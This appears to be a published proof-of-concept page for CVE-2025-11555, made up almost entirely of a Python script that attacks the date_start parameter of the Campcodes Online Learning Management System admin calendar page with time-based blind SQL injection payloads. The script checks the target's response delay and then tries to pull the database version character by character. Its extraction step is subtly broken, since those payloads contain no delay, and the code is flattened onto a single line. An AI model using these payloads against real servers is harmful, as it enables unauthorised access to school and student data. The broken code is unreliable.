CVE-2025-11555：Campcodes在线学习管理系统SQL注入漏洞

# CVE-2025-11555 - Campcodes Online Learning Management System SQL Injection PoC # Vulnerability: SQL Injection via date_start parameter in /admin/calendar_of_events.php # Author: Security Researcher import requests import sys import time TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/admin/calendar_of_events.php" def check_vulnerability(url): """Check if the target is vulnerable to SQL injection""" # Normal request baseline timing start_time = time.time() normal_params = {"date_start": "2025-01-01"} try: requests.post(url + VULNERABLE_ENDPOINT, data=normal_params, timeout=10) except: pass normal_time = time.time() - start_time # Time-based blind SQL injection payload payload = "2025-01-01' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" start_time = time.time() try: requests.post(url + VULNERABLE_ENDPOINT, data={"date_start": payload}, timeout=15) except: pass injection_time = time.time() - start_time if injection_time > normal_time + 4: print(f"[+] Target appears vulnerable! Response delay: {injection_time:.2f}s") return True else: print(f"[-] Target does not appear vulnerable. Delay: {injection_time:.2f}s") return False def extract_data(url): """Extract database version using time-based blind SQL injection""" print("[*] Attempting to extract database version...") # Example: extracting database version character by character for i in range(1, 20): for c in range(32, 127): payload = f"2025-01-01' AND ASCII(SUBSTRING(version(),{i},1))={c}-- -" start_time = time.time() try: requests.post(url + VULNERABLE_ENDPOINT, data={"date_start": payload}, timeout=10) except: pass elapsed = time.time() - start_time if elapsed > 3: print(chr(c), end='', flush=True) break else: break print() if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] if check_vulnerability(TARGET_URL): extract_data(TARGET_URL)